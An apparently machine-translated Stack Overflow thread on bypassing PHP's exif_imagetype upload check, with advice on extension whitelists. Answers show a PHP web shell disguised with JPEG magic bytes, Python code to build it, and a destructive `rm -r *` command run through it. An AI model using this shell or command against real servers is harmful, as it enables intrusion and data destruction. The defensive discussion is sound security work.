2013-08-21 30 views
0

我讀過exif_imagetype是安全的功能,可以避免上傳php或其他shell代碼而不是圖片文件。最近我讀了另一篇文章,我們可以通過一些簡單的方法繞過這個安全功能。所以如果有人知道確切的方法繞過可以分享你的答案。如何繞過exif_imagetype函數上傳php代碼?

我用下面的在我的PHP腳本代碼,所以我想知道這是脆弱的或不和補救相同

if (! exif_imagetype($_FILES['upload']['tmp_name'])) 
    { 
    echo "File is not an image"; 
    } 
+0

手冊的第一行說:*「exif_imagetype()讀取圖像和檢查的第一個字節它的簽名。「* - 因此欺騙前幾個字節看起來像一個圖像簽名將做到這一點。 – deceze

+0

你需要這樣做的現實世界是什麼? –

+1

如果您正確處理圖像,則不管代碼是否在圖像中,都不會執行任何代碼。這可能是偶然的,一個圖像文件包含序列'' – hek2mgl

回答

-2

爲了安全起見,我使用

$extension = pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION); 

if(!in_array(strtolower($extension), array('jpg', 'jpeg', 'png', 'gif'))) 
{ 
    echo "File is not an image"; 
} 
2

它更復雜一點那只是運行exif_imagetype。該函數只是在文件的開頭檢查幻數,所以需要更多的檢查。如果沒有更多關於軟件的知識,很難做出判斷,但考慮下面這個例子:

我用JPEG幻數0xFFD8FFE0和字符串<? passthru($_GET["cmd"]); ?>構造「shell.php」。

我把它上傳到你的服務器。幻數繞過exif_imagetype。該文件上傳到www.your-domain.com/uploads/shell.php。然後我導航到www.your-domain.com/uploads/shell.php?rm -r *。服務器找到起始<?並開始解釋PHP。好極了!假設您在Linux網絡服務器上運行,我已經刪除了您的所有上傳文件。

即使對圖像的有效性進行更深入的檢查也無濟於事,因爲我可能會將我的惡意腳本包含在圖像的元數據中。這隻能通過使用文件擴展名的白名單來阻止。

[TL; DR]沒有更多檢查就不安全。您需要確保適當的文件名,使用文件擴展名白名單,限制文件大小以及執行標準安全措施。

1

基於@先生jake_the_snake的回答,我也將包括在Python快速的代碼示例

>>> fh = open('shell.php', 'w') 
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>') 
>>> fh.close()